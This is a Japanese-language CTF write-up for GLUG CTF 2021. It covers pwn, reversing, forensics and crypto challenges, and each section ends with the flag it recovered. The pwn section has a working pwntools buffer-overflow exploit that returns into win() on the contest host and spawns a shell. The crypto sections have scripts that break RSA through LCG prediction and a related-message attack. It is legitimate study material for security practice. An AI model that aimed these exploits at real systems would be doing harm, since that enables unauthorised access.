この大会は2021/4/1 3:30(JST)~2021/4/2 3:30(JST)に開催されました。
今回もチームで参戦。結果は1998点で404チーム中26位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
Discordに入り、#announcementsチャネルのメッセージを見ると、フラグが書いてあった。
GLUG{free_fl4g_fr0m_tuX_g4ng}
Babypwn (Pwn)
Ghidraでデコンパイルする。
undefined8 main(void)
{
char local_18 [16];
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
puts(&DAT_00402010);
fgets(local_18,0x80,stdin);
return 0;
}
void win(void)
{
char *local_18;
char *local_10;
local_10 = (char *)0x0;
local_18 = (char *)0x0;
execve("/bin/sh",&local_10,&local_18);
return;
}
BOFでwinをコールできればよい。
$ gdb -q chall
Reading symbols from chall...(no debugging symbols found)...done.
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall
I feel like I’m always searching for someone, or something.
aaaaaaaaaaaaaaaaaaaa
[Inferior 1 (process 19580) exited normally]
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/chall
I feel like I’m always searching for someone, or something.
aaaaaaaaaaaaaaaa0123456789abcdef
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x1
RDX: 0x7ffff7dcf8d0 --> 0x0
RSI: 0x7fffffffdf80 ('a' <repeats 15 times>...)
RDI: 0x7fffffffdf81 ('a' <repeats 15 times>...)
RBP: 0x3736353433323130 (b'01234567')
RSP: 0x7fffffffdf98 ("89abcdef\n")
RIP: 0x40123e (<main+114>: ret)
R8 : 0x405281 --> 0x0
R9 : 0x7ffff7fd94c0 (0x00007ffff7fd94c0)
R10: 0x405010 --> 0x0
R11: 0x246
R12: 0x4010b0 (<_start>: endbr64)
R13: 0x7fffffffe070 --> 0x1
R14: 0x0
R15: 0x0
[------------------------------------code-------------------------------------]
Display various information of current execution context
Usage:
context [reg,code,stack,all] [code/stack length]
0x000000000040123e in main ()
gdb-peda$ p &win
$1 = (<text variable, no debug info> *) 0x401196 <win>
RSPのアドレスにこのアドレスを書き込む。
from pwn import *
p = remote('chall.nitdgplug.org', 30041)
data = p.recvline().rstrip()
print data
payload = 'a' * 24 + p64(0x401196)
print payload
p.sendline(payload)
p.interactive()
実行結果は以下の通り。
[+] Opening connection to chall.nitdgplug.org on port 30041: Done
I feel like I’m always searching for someone, or something.
aaaaaaaaaaaaaaaaaaaaaaaa\x96\x11\x00\x00\x00
[*] Switching to interactive mode
$ ls
bin
chall
dev
flag.txt
lib
lib32
lib64
$ cat flag.txt
GLUG{h0w_w45_7h3_w4rmup_23745bb8d1daa6b3}
GLUG{h0w_w45_7h3_w4rmup_23745bb8d1daa6b3}
NET_DOT (reverse)
dnSpyでデコンパイルする。
using System;
namespace win
{
internal class Program
{
private static int sum_all(string password)
{
int num = 0;
foreach (char c in password)
{
num += (int)c;
}
return num;
}
private static int check(int[] values)
{
int[] array = new int[]
{
2410,
2404,
2430,
2408,
2391,
2381,
2333,
2396,
2369,
2332,
2398,
2422,
2332,
2397,
2416,
2370,
2393,
2304,
2393,
2333,
2416,
2376,
2371,
2305,
2377,
2391
};
int result = 0;
for (int i = 0; i < array.Length; i++)
{
bool flag = array[i] == values[i];
if (!flag)
{
result = 0;
break;
}
result = 1;
}
return result;
}
private static void Main(string[] args)
{
Console.WriteLine("Hello there mate \nJust enter the flag to check : ");
string text = Console.ReadLine();
int[] array = new int[26];
bool flag = text.Length != 26;
if (flag)
{
Console.WriteLine("Input length error");
Console.ReadLine();
}
else
{
for (int i = 0; i < text.Length; i++)
{
array[i] = (int)text[i];
}
int[] array2 = new int[26];
for (int j = 0; j < 26; j++)
{
array2[j] = (array[j] - (j % 2 * 2 + j % 3) ^ Program.sum_all(text));
}
int num = Program.check(array2);
bool flag2 = num == 1;
if (flag2)
{
Console.WriteLine("Your flag : " + text);
Console.ReadLine();
}
else
{
Console.WriteLine("try harder");
Console.ReadLine();
}
}
}
}
}
これを読み解く。
・flagの長さは26
・array[i]: flagの各文字のASCIIコードの配列
・array2[j]: (array[j] - (j % 2 * 2 + j % 3) ^ flagの各文字のASCIIコードの和
・array2[j]の各数値がcheckメソッド内のarrayの各数値と一致していればよい。
フラグは"GLUG"から始めることを前提に逆算する。
array = [2410, 2404, 2430, 2408, 2391, 2381, 2333, 2396, 2369, 2332, 2398, 2422, 2332, 2397, 2416, 2370, 2393, 2304, 2393, 2333, 2416, 2376, 2371, 2305, 2377, 2391]
FLAG_HEAD = 'GLUG{'
sum_all = ord(FLAG_HEAD[0]) ^ array[0]
flag = ''
for i in range(26):
code = (array[i] ^ sum_all) + (i % 2 * 2 + i % 3)
flag += chr(code)
print flag
GLUG{d0tn3t_1s_qu1t3_go0d}
Child_rev (reverse)
$ upx -d childrev
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2017
UPX 3.94 Markus Oberhumer, Laszlo Molnar & John Reiser May 12th 2017
File size Ratio Format Name
-------------------- ------ ----------- -----------
910136 <- 406024 44.61% linux/amd64 childrev
Unpacked 1 file.
UPXアンパックしたものをGhidraでデコンパイルする。
undefined8 main(void)
{
undefined local_38 [40];
int local_10;
char local_c;
char local_b;
char local_a;
char local_9;
printf("ENTER THE FLAG : ");
__isoc99_scanf(&DAT_0049e182,local_38);
local_9 = 'G';
local_a = 'L';
local_b = 'U';
local_c = 'G';
local_10 = XOR(local_38,0x47,0x4c,0x55,0x47);
if (local_10 == 0) {
puts("USE GHIDRA CUTTER OR IDA , THEN IT WILL BE EASY\n");
}
else {
printf("YAY U MADE IT \n%c%c%c%c{%s}\n",(ulong)(uint)(int)local_9,(ulong)(uint)(int)local_a,
(ulong)(uint)(int)local_b,(ulong)(uint)(int)local_c,local_38);
}
return 0;
}
undefined4 XOR(long param_1,char param_2,char param_3,char param_4,char param_5)
{
ulong uVar1;
long lVar2;
ulong *puVar3;
ulong *puVar4;
byte bVar5;
ulong local_248 [34];
ulong auStack312 [36];
int local_14;
undefined4 local_10;
int local_c;
bVar5 = 0;
uVar1 = gen_key((int)param_2,(int)param_3,(int)param_4,(int)param_5);
local_c = 0;
while (local_c < 0x22) {
auStack312[local_c] = (long)*(char *)(param_1 + local_c) ^ uVar1;
local_c = local_c + 1;
}
lVar2 = 0x22;
puVar3 = &DAT_0049e060;
puVar4 = local_248;
while (lVar2 != 0) {
lVar2 = lVar2 + -1;
*puVar4 = *puVar3;
puVar3 = puVar3 + (ulong)bVar5 * -2 + 1;
puVar4 = puVar4 + (ulong)bVar5 * -2 + 1;
}
local_10 = 0;
local_14 = 0;
while( true ) {
if (0x21 < local_14) {
return local_10;
}
if (auStack312[local_14] != local_248[local_14]) break;
local_10 = 1;
local_14 = local_14 + 1;
}
return 0;
}
long gen_key(char param_1,char param_2,char param_3,char param_4)
{
long lVar1;
long local_10;
lVar1 = ((long)param_1 + (long)param_2 + (long)param_3 + (long)param_4) * 0x100;
rand();
local_10 = 600000;
while (local_10 < 800000) {
if (local_10 == lVar1) {
puts("Maybe You are close or maybe not\n");
}
local_10 = local_10 + 0x65;
}
return lVar1;
}
DAT_0049e060 XREF[2]: XOR:00401ddc(*), XOR:00401dee(R)
0049e060 78 2f 01 undefined8 0000000000012F78h
00 00 00
00 00
0049e068 30 ?? 30h 0
0049e069 2f ?? 2Fh /
0049e06a 01 ?? 01h
0049e06b 00 ?? 00h
0049e06c 00 ?? 00h
0049e06d 00 ?? 00h
0049e06e 00 ?? 00h
0049e06f 00 ?? 00h
0049e070 72 ?? 72h r
0049e071 2f ?? 2Fh /
0049e072 01 ?? 01h
0049e073 00 ?? 00h
0049e074 00 ?? 00h
0049e075 00 ?? 00h
0049e076 00 ?? 00h
0049e077 00 ?? 00h
0049e078 5f ?? 5Fh _
0049e079 2f ?? 2Fh /
0049e07a 01 ?? 01h
0049e07b 00 ?? 00h
0049e07c 00 ?? 00h
0049e07d 00 ?? 00h
0049e07e 00 ?? 00h
0049e07f 00 ?? 00h
0049e080 61 ?? 61h a
0049e081 2f ?? 2Fh /
0049e082 01 ?? 01h
0049e083 00 ?? 00h
0049e084 00 ?? 00h
0049e085 00 ?? 00h
0049e086 00 ?? 00h
0049e087 00 ?? 00h
0049e088 6e ?? 6Eh n
0049e089 2f ?? 2Fh /
0049e08a 01 ?? 01h
0049e08b 00 ?? 00h
0049e08c 00 ?? 00h
0049e08d 00 ?? 00h
0049e08e 00 ?? 00h
0049e08f 00 ?? 00h
0049e090 64 ?? 64h d
0049e091 2f ?? 2Fh /
0049e092 01 ?? 01h
0049e093 00 ?? 00h
0049e094 00 ?? 00h
0049e095 00 ?? 00h
0049e096 00 ?? 00h
0049e097 00 ?? 00h
0049e098 5f ?? 5Fh _
0049e099 2f ?? 2Fh /
0049e09a 01 ?? 01h
0049e09b 00 ?? 00h
0049e09c 00 ?? 00h
0049e09d 00 ?? 00h
0049e09e 00 ?? 00h
0049e09f 00 ?? 00h
0049e0a0 6c ?? 6Ch l
0049e0a1 2f ?? 2Fh /
0049e0a2 01 ?? 01h
0049e0a3 00 ?? 00h
0049e0a4 00 ?? 00h
0049e0a5 00 ?? 00h
0049e0a6 00 ?? 00h
0049e0a7 00 ?? 00h
0049e0a8 30 ?? 30h 0
0049e0a9 2f ?? 2Fh /
0049e0aa 01 ?? 01h
0049e0ab 00 ?? 00h
0049e0ac 00 ?? 00h
0049e0ad 00 ?? 00h
0049e0ae 00 ?? 00h
0049e0af 00 ?? 00h
0049e0b0 67 ?? 67h g
0049e0b1 2f ?? 2Fh /
0049e0b2 01 ?? 01h
0049e0b3 00 ?? 00h
0049e0b4 00 ?? 00h
0049e0b5 00 ?? 00h
0049e0b6 00 ?? 00h
0049e0b7 00 ?? 00h
0049e0b8 31 ?? 31h 1
0049e0b9 2f ?? 2Fh /
0049e0ba 01 ?? 01h
0049e0bb 00 ?? 00h
0049e0bc 00 ?? 00h
0049e0bd 00 ?? 00h
0049e0be 00 ?? 00h
0049e0bf 00 ?? 00h
0049e0c0 63 ?? 63h c
0049e0c1 2f ?? 2Fh /
0049e0c2 01 ?? 01h
0049e0c3 00 ?? 00h
0049e0c4 00 ?? 00h
0049e0c5 00 ?? 00h
0049e0c6 00 ?? 00h
0049e0c7 00 ?? 00h
0049e0c8 40 ?? 40h @
0049e0c9 2f ?? 2Fh /
0049e0ca 01 ?? 01h
0049e0cb 00 ?? 00h
0049e0cc 00 ?? 00h
0049e0cd 00 ?? 00h
0049e0ce 00 ?? 00h
0049e0cf 00 ?? 00h
0049e0d0 6c ?? 6Ch l
0049e0d1 2f ?? 2Fh /
0049e0d2 01 ?? 01h
0049e0d3 00 ?? 00h
0049e0d4 00 ?? 00h
0049e0d5 00 ?? 00h
0049e0d6 00 ?? 00h
0049e0d7 00 ?? 00h
0049e0d8 5f ?? 5Fh _
0049e0d9 2f ?? 2Fh /
0049e0da 01 ?? 01h
0049e0db 00 ?? 00h
0049e0dc 00 ?? 00h
0049e0dd 00 ?? 00h
0049e0de 00 ?? 00h
0049e0df 00 ?? 00h
0049e0e0 73 ?? 73h s
0049e0e1 2f ?? 2Fh /
0049e0e2 01 ?? 01h
0049e0e3 00 ?? 00h
0049e0e4 00 ?? 00h
0049e0e5 00 ?? 00h
0049e0e6 00 ?? 00h
0049e0e7 00 ?? 00h
0049e0e8 68 ?? 68h h
0049e0e9 2f ?? 2Fh /
0049e0ea 01 ?? 01h
0049e0eb 00 ?? 00h
0049e0ec 00 ?? 00h
0049e0ed 00 ?? 00h
0049e0ee 00 ?? 00h
0049e0ef 00 ?? 00h
0049e0f0 31 ?? 31h 1
0049e0f1 2f ?? 2Fh /
0049e0f2 01 ?? 01h
0049e0f3 00 ?? 00h
0049e0f4 00 ?? 00h
0049e0f5 00 ?? 00h
0049e0f6 00 ?? 00h
0049e0f7 00 ?? 00h
0049e0f8 66 ?? 66h f
0049e0f9 2f ?? 2Fh /
0049e0fa 01 ?? 01h
0049e0fb 00 ?? 00h
0049e0fc 00 ?? 00h
0049e0fd 00 ?? 00h
0049e0fe 00 ?? 00h
0049e0ff 00 ?? 00h
0049e100 74 ?? 74h t
0049e101 2f ?? 2Fh /
0049e102 01 ?? 01h
0049e103 00 ?? 00h
0049e104 00 ?? 00h
0049e105 00 ?? 00h
0049e106 00 ?? 00h
0049e107 00 ?? 00h
0049e108 5f ?? 5Fh _
0049e109 2f ?? 2Fh /
0049e10a 01 ?? 01h
0049e10b 00 ?? 00h
0049e10c 00 ?? 00h
0049e10d 00 ?? 00h
0049e10e 00 ?? 00h
0049e10f 00 ?? 00h
0049e110 65 ?? 65h e
0049e111 2f ?? 2Fh /
0049e112 01 ?? 01h
0049e113 00 ?? 00h
0049e114 00 ?? 00h
0049e115 00 ?? 00h
0049e116 00 ?? 00h
0049e117 00 ?? 00h
0049e118 40 ?? 40h @
0049e119 2f ?? 2Fh /
0049e11a 01 ?? 01h
0049e11b 00 ?? 00h
0049e11c 00 ?? 00h
0049e11d 00 ?? 00h
0049e11e 00 ?? 00h
0049e11f 00 ?? 00h
0049e120 73 ?? 73h s
0049e121 2f ?? 2Fh /
0049e122 01 ?? 01h
0049e123 00 ?? 00h
0049e124 00 ?? 00h
0049e125 00 ?? 00h
0049e126 00 ?? 00h
0049e127 00 ?? 00h
0049e128 79 ?? 79h y
0049e129 2f ?? 2Fh /
0049e12a 01 ?? 01h
0049e12b 00 ?? 00h
0049e12c 00 ?? 00h
0049e12d 00 ?? 00h
0049e12e 00 ?? 00h
0049e12f 00 ?? 00h
0049e130 5f ?? 5Fh _
0049e131 2f ?? 2Fh /
0049e132 01 ?? 01h
0049e133 00 ?? 00h
0049e134 00 ?? 00h
0049e135 00 ?? 00h
0049e136 00 ?? 00h
0049e137 00 ?? 00h
0049e138 72 ?? 72h r
0049e139 2f ?? 2Fh /
0049e13a 01 ?? 01h
0049e13b 00 ?? 00h
0049e13c 00 ?? 00h
0049e13d 00 ?? 00h
0049e13e 00 ?? 00h
0049e13f 00 ?? 00h
0049e140 31 ?? 31h 1
0049e141 2f ?? 2Fh /
0049e142 01 ?? 01h
0049e143 00 ?? 00h
0049e144 00 ?? 00h
0049e145 00 ?? 00h
0049e146 00 ?? 00h
0049e147 00 ?? 00h
0049e148 67 ?? 67h g
0049e149 2f ?? 2Fh /
0049e14a 01 ?? 01h
0049e14b 00 ?? 00h
0049e14c 00 ?? 00h
0049e14d 00 ?? 00h
0049e14e 00 ?? 00h
0049e14f 00 ?? 00h
0049e150 68 ?? 68h h
0049e151 2f ?? 2Fh /
0049e152 01 ?? 01h
0049e153 00 ?? 00h
0049e154 00 ?? 00h
0049e155 00 ?? 00h
0049e156 00 ?? 00h
0049e157 00 ?? 00h
0049e158 38 ?? 38h 8
0049e159 2f ?? 2Fh /
0049e15a 01 ?? 01h
0049e15b 00 ?? 00h
0049e15c 00 ?? 00h
0049e15d 00 ?? 00h
0049e15e 00 ?? 00h
0049e15f 00 ?? 00h
0049e160 3f ?? 3Fh ?
0049e161 2f ?? 2Fh /
0049e162 01 ?? 01h
0049e163 00 ?? 00h
0049e164 00 ?? 00h
0049e165 00 ?? 00h
0049e166 00 ?? 00h
0049e167 00 ?? 00h
0049e168 3f ?? 3Fh ?
0049e169 2f ?? 2Fh /
0049e16a 01 ?? 01h
0049e16b 00 ?? 00h
0049e16c 00 ?? 00h
0049e16d 00 ?? 00h
0049e16e 00 ?? 00h
0049e16f 00 ?? 00h
XORの処理概要は以下の通り。
・gen_key((int)param_2,(int)param_3,(int)param_4,(int)param_5)
(0x47 + 0x4c + 0x55 + 0x47) * 0x100 (=77568)を返す。
・auStack312: 各文字の77568とのXOR→実質0とのXOR
・auStack312の値がDAT_0049e060と同じになればよい。
このことから以下が正しい入力となることがわかる。
x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??
$ ./childrev
ENTER THE FLAG : x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??
YAY U MADE IT
GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}
GLUG{x0r_and_l0g1c@l_sh1ft_e@sy_r1gh8??}
Bulky Load (Forensics/Steg)
pcapには4つのパケットしかない。Leftover Capture Dataをすべてエクスポートし、結合する。
$ cat 0.bin 1.bin 2.bin 3.bin > flag.wav
Audacityで開き、スペクトグラムを見ると、フラグが書いてあった。
p17ch_0v3r_7R4FF1C
GLUG{p17ch_0v3r_7R4FF1C}
Profezzor revenge (Crypto)
途中 "\xae\xfa\xba\xbe" が繰り返されている。ここは\x00で埋められていると推測できる。つまりXOR暗号で、鍵は"\xae\xfa\xba\xbe"であると推測できる。
with open('assignment', 'rb') as f:
enc = f.read()
key = '\xae\xfa\xba\xbe'
flag = ''
for i in range(len(enc)):
flag += chr(ord(enc[i]) ^ ord(key[i%len(key)]))
with open('assignment.pdf', 'wb') as f:
f.write(flag)
復号すると、復号したPDFにフラグが書いてあった。
GLUG{XOR_IS_EASY_RIGHT}
Lost-N (Crypto)
RSA暗号で1文字ずつ暗号化しているが、nはわからない。
平文の英大文字は英小文字にしていて、425個の暗号があることから、同じ暗号を同じ文字にして、quipqiupを使い、調整しながら復号する。
4046810071063141986960917924194350544508326229887146469380601901529629079312263457180953100470382029366581696684359204139663147675926152123864012234219386204615161605401781528508066196417606088540276195892366153623254568532781505497052709323369519037527713446006710253416231837541145006017041619960920268096
はスペース
30177593114963646252821551868269905883903350249757804601722788525348827027006070870902796697173193008395256513576484378618688884967997030953871143151692391072805065385165011793698284669820619939898756201806219479576655145922885226430784268014537137780097516194903117297107905833393764443142200450513386425623
はカンマ
10494692543699663136572124962194546078298532133376796088057491653276300507410033793866606948926361908749109728563433886999664622809205896589207790089853417676040143281083380990812490253295277512106926759832699420266108205957029882605769495374268114536049872356342102324772140554886370074044152623010121464896
はピリオド
98149233858666434416177916966565806645548999892073825477058657251366425653436473318731593688335542102460355908688279045038185585590897910451728554743060144417805385201446197103102181956396056667119789086665385461479639543271571173368926133004413248780779109465335392702530482433179355268059272103848568234845
はアンダースコア
50576582068601981500451742441423037651057413514088470061541488926431616532879620581390071419499575720374127581084151865195696979899855043770942075518890651989936838878728971617048742219547829153826121470041079588583159370147890874300498866912777458577515280880729645671585134344650894299230430992964821031209
は {
10048732253951858823734220155726534543719672278633632165249552946442212045200090442739446045636885712002654141040067248163842356266277899230588485190513084781029553913270409083939309633472338071989535726280505239292888992200046505923546971383134073899378130803814257520587297480263755747779050748322169805739
は }
97850220057074415912303789120378575073279355268685977151687029480227616659745987431532734649821463638630686179937491556304557739387590236798701024768808260793779751752424448607467568128777929282169263516121638474906056762071897712894819958971099051601857656264134929098620067250600575391173709241858700309556
は !
最終的なコードは以下の通り。
import string
SPACE = 4046810071063141986960917924194350544508326229887146469380601901529629079312263457180953100470382029366581696684359204139663147675926152123864012234219386204615161605401781528508066196417606088540276195892366153623254568532781505497052709323369519037527713446006710253416231837541145006017041619960920268096
COMMA = 30177593114963646252821551868269905883903350249757804601722788525348827027006070870902796697173193008395256513576484378618688884967997030953871143151692391072805065385165011793698284669820619939898756201806219479576655145922885226430784268014537137780097516194903117297107905833393764443142200450513386425623
PERIOD = 10494692543699663136572124962194546078298532133376796088057491653276300507410033793866606948926361908749109728563433886999664622809205896589207790089853417676040143281083380990812490253295277512106926759832699420266108205957029882605769495374268114536049872356342102324772140554886370074044152623010121464896
UNDERSCORE = 98149233858666434416177916966565806645548999892073825477058657251366425653436473318731593688335542102460355908688279045038185585590897910451728554743060144417805385201446197103102181956396056667119789086665385461479639543271571173368926133004413248780779109465335392702530482433179355268059272103848568234845
BRACKET_L = 50576582068601981500451742441423037651057413514088470061541488926431616532879620581390071419499575720374127581084151865195696979899855043770942075518890651989936838878728971617048742219547829153826121470041079588583159370147890874300498866912777458577515280880729645671585134344650894299230430992964821031209
BRACKET_R = 10048732253951858823734220155726534543719672278633632165249552946442212045200090442739446045636885712002654141040067248163842356266277899230588485190513084781029553913270409083939309633472338071989535726280505239292888992200046505923546971383134073899378130803814257520587297480263755747779050748322169805739
EXCLAMATION = 97850220057074415912303789120378575073279355268685977151687029480227616659745987431532734649821463638630686179937491556304557739387590236798701024768808260793779751752424448607467568128777929282169263516121638474906056762071897712894819958971099051601857656264134929098620067250600575391173709241858700309556
with open('encrypted', 'r') as f:
ct = eval(f.read().split('\n')[1].split(' = ')[1])
chars = string.lowercase + string.digits
index = 0
dic = {}
enc_msg =''
for c in ct:
if c not in dic:
if index == 23:
print c
if c == SPACE:
dic[c] = ' '
elif c == COMMA:
dic[c] = ','
elif c == PERIOD:
dic[c] = '.'
elif c == UNDERSCORE:
dic[c] = '_'
elif c == BRACKET_L:
dic[c] = '{'
elif c == BRACKET_R:
dic[c] = '}'
elif c == EXCLAMATION:
dic[c] = '!'
else:
dic[c] = chars[index]
index += 1
enc_msg += dic[c]
print enc_msg
最終的には以下のようになる。
abcdeef, b ghibghg jkdj jkh lmnlhm ojmdjhpf qdo jn ojdmh rdis. rnfo gn cnj kdth duncnlnef nc jkh ojdmbcp rvobchoo, dajhm dee. on b ennshg kbu nthm do ldjmbisdiscnqehgphg anm jkh jknvodcgjk jbuh kbo rdeewehoochoo hji,dcg onnc bj qdo d ojdmbcpincjhoj. dajhm d qkbeh jkh rnf oubehg, dcg jkhc abcdeef kbo revh hfho pedcihg dqdf. qkhckh ennshg rdis dj uh, b aebishg uf hfhrmnqo vl jn odf, b qbc pevp{fnvm_eblo_uf_eblo_dlnidefloh}!
これをquipqiupにかける。
finally, i decided that the proper strategy was to stare back. boys do not have amonopoly on the staring business, after all. so i looked him over as patrickacknowledged for the thousandth time his ballxlessness etc,and soon it was a staringcontest. after a while the boy smiled, and then finally his blue eyes glanced away. whenhe looked back at me, i flicked my eyebrows up to say, i win glug{your_lips_my_lips_apocalypse}!
GLUG{your_lips_my_lips_apocalypse}
Intern (Crypto)
$ nc chall.nitdgplug.org 30205
N : 102556442523093261233013957993275265128607428633446702226374291375899783038684037006657999703634851507692029183253217118535592620105194748731931156825319389307453016007444842127815800659786000253333927663321241234055836830492762064054403553028560892057328548638490291019651665559717435948793711045293930976781
e : 3
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 327621869337863370452
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 2
ENC(flag+next_num): 74763700223854263397775497940179010120731682035315642913012460758937430473890691887009954508988719298860094120088791057694183092560597522420730811844989061744942752602945684140800171511761760513570303131790237126510013367745610893257423289730508557892922525009053180209333241626366586035914854281307012964347
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 471305085527813855981
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 294626497123377347713
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
stateはLCGで決められ、次の数値をnext_numとしてRSA暗号化をしていると推測する。LCGのパラメータを求めれば、次の数が予測できる。
次に2回RSA暗号を行い、暗号を2つ入手する。平文の差がわかるので、Franklin-Reiter Related Message Attackにより復号できる。
import socket
from Crypto.Util.number import *
def recvuntil(s, tail):
data = ''
while True:
if tail in data:
return data
data += s.recv(1)
def related_message_attack(c1, c2, diff, e, n):
PRx.<x> = PolynomialRing(Zmod(n))
g1 = x^e - c1
g2 = (x+diff)^e - c2
def gcd(g1, g2):
while g2:
g1, g2 = g2, g1 % g2
return g1.monic()
return -gcd(g1, g2)[0]
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.nitdgplug.org', 30205))
data = recvuntil(s, '$ ')
print data[:-1],
N = int(data.split('\n')[0].split(' ')[-1])
e = int(data.split('\n')[1].split(' ')[-1])
nums = []
for _ in range(8):
print '1'
s.sendall('1\n')
data = recvuntil(s, '$ ')
print data[:-1],
state = int(data.split('\n')[0].split(': ')[1])
nums.append(state)
M = pow(nums[2] - nums[1], 2) - (nums[3] - nums[2]) * (nums[1] - nums[0])
for i in range(4):
modulo = pow(nums[i+3] - nums[i+2], 2) - (nums[i+4] - nums[i+3]) * (nums[i+2] - nums[i+1])
M = GCD(M, modulo)
A = ((nums[2] - nums[1]) * inverse(nums[1] - nums[0], M)) % M
B = (nums[1] - A * nums[0]) % M
print '2'
s.sendall('2\n')
data = recvuntil(s, '$ ')
print data[:-1],
C1 = int(data.split('\n')[0].split(': ')[1])
next_num1 = (A * nums[-1] + B) % M
print '2'
s.sendall('2\n')
data = recvuntil(s, '\n').rstrip()
print data
C2 = int(data.split(': ')[1])
next_num2 = (A * next_num1 + B) % M
diff = next_num2 - next_num1
m = related_message_attack(C1, C2, diff, e, N) - next_num1
flag = long_to_bytes(m)
print flag
実行結果は以下の通り。
N : 117632382751217833417514128128283695202991985525132449488874139053825161212550501538033136870931057716260101769650251415058275460172876199611843006709033610667928495427074220748068807142114630959387833160465341622731211096669494894602349744987861536518629484060528898723614525737856594731667457389721404075543
e : 3
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 322382049975454248992
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 55784804586607546893
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 291857894780069194758
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 232416572653120627798
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 262806820026726563641
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 184122577206227242967
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 398431767066001875863
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 1
state for you: 79850098891311513907
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 2
ENC(flag+next_num): 84318728336681925336968882015542758252751897626943853644715292353119885497204331017190038550274125623635565131313245181412796496427470506836486031455935653258596332423272690383466350637790731629258660116260668369323845738162047846059679527323143996645985988134069753887484206354056685528986692416759703059494
[1].CURR STATE
[2].ENCRYPT FLAG
[3].EXIT
$ 2
ENC(flag+next_num): 12849437425314087330328620168806053566944315345146328907001623131663317044433948474226755793944957114605556064475018584801708945482046975241719803058465422250724477591551201730347235356021198026671745238579460395484252126508872193117483681804777742479812541030505551317473053505879524793666964028805183978510
Do you really think LCG with RSA will make secure system btw flag is GLUG{n44m_l3k3_k44m_4151_50urc3_73r3_bh41_k1}
GLUG{n44m_l3k3_k44m_4151_50urc3_73r3_bh41_k1}
Hill-Kill (Crypto)
$ nc chall.nitdgplug.org 30211
HERE YOU GO, YOU HAVE 50 SECONDS TO REACH AT THE TOP
KEY : aeujkrdiqbhifabbkmykwitqiwxhkkddixjv
CIPHERTEXT : bdbmroaawrisdwnfxfaxxecxrdwbmggocwibpygsqlehiurosjbfgefkcoat
Enter the decoded Ciphertext:
Hill暗号。KEYのサイズが変わることに注意してプログラムにする。
import string
import socket
def recvuntil(s, tail):
data = b''
while True:
if tail in data:
return data.decode()
data += s.recv(1)
def create_key_matrix(s, d):
M = []
for i in range(d):
row = []
for j in range(d):
index = string.lowercase.index(s[i*d+j])
row.append(index)
M.append(row)
return M
def create_msg_matrix(s, d):
M = []
for i in range(d):
row = []
for j in range(d):
index = string.lowercase.index(s[i+j*d])
row.append(index)
M.append(row)
return M
def matrix_to_msg(M, d):
msg = ''
for i in range(d):
for j in range(d):
msg += string.lowercase[M[j][i]]
return msg
def pad(s, d):
pad_s = s
p = (d ^ 2) - len(ct) % (d ^ 2)
if p != (d ^ 2):
pad_s = s + 'a' * p
return pad_s
def hill_decrypt(key, ct):
dim = int(len(key) ^ (1 / 2))
K = matrix(Zmod(26), create_key_matrix(key, dim))
pt = ''
ct2 = pad(ct, dim)
for i in range(0, len(ct2), len(key)):
C = matrix(Zmod(26), create_msg_matrix(ct2[i:i+len(key)], dim))
P = K.inverse() * C
pt += matrix_to_msg(P, dim)
pt = pt[:len(ct)]
return pt
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('chall.nitdgplug.org', 30211))
data = recvuntil(s, '\n').rstrip()
print data
for i in range(25):
data = recvuntil(s, '\n').rstrip()
print data
key = data.split(' ')[-1]
data = recvuntil(s, '\n').rstrip()
print data
ct = data.split(' ')[-1]
pt = hill_decrypt(key, ct)
data = recvuntil(s, ':')
print data + pt
s.sendall(pt + '\n')
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
data = recvuntil(s, '\n').rstrip()
print data
実行結果は以下の通り。
HERE YOU GO, YOU HAVE 50 SECONDS TO REACH AT THE TOP
KEY : jhcysnavd
CIPHERTEXT : bxvcecieuyavagymsdewubgqhsubhlvmlrlefqsorzitupvogsdhcfeuvzbx
Enter the decoded Ciphertext:bslieqcmsxrsiuyrnoswaxaofqqnetovecdpfagwuhxnlqvflvkqzaftefkh
Hurrah your ans is correct
KEY : yurpdulijxifcxclgogizddrr
CIPHERTEXT : fjekldxynhpccvcjjfuqbixswvecwfjvjjomfhddcwgitjfsrpqkdncughfx
Enter the decoded Ciphertext:swcolhxfbbhmzuaunpoaqloedqknuurkyvkvoxjsgrbtqnddzxfvbgpdeihx
Hurrah your ans is correct
KEY : vwxfqdqhesyriabywlwodagll
CIPHERTEXT : xlbdurzclaecjlftmageabofgogahgvrpfqpxojhdpkaovybyioaasfebzdx
Enter the decoded Ciphertext:edpiumuzwgntpciufavhmphxnvzdwjmvteyuxjohthaihmycdrudgutirfly
Hurrah your ans is correct
KEY : twbn
CIPHERTEXT : uyriomodnlbzfksopqnbnzueprdyaribtddkslykpopenqdhcwirpuvpqgkr
Enter the decoded Ciphertext:ysvlmiqblkzixrokdrbizseormltetotdqxlyzkwbbrzdlhawaerhxpogsex
Hurrah your ans is correct
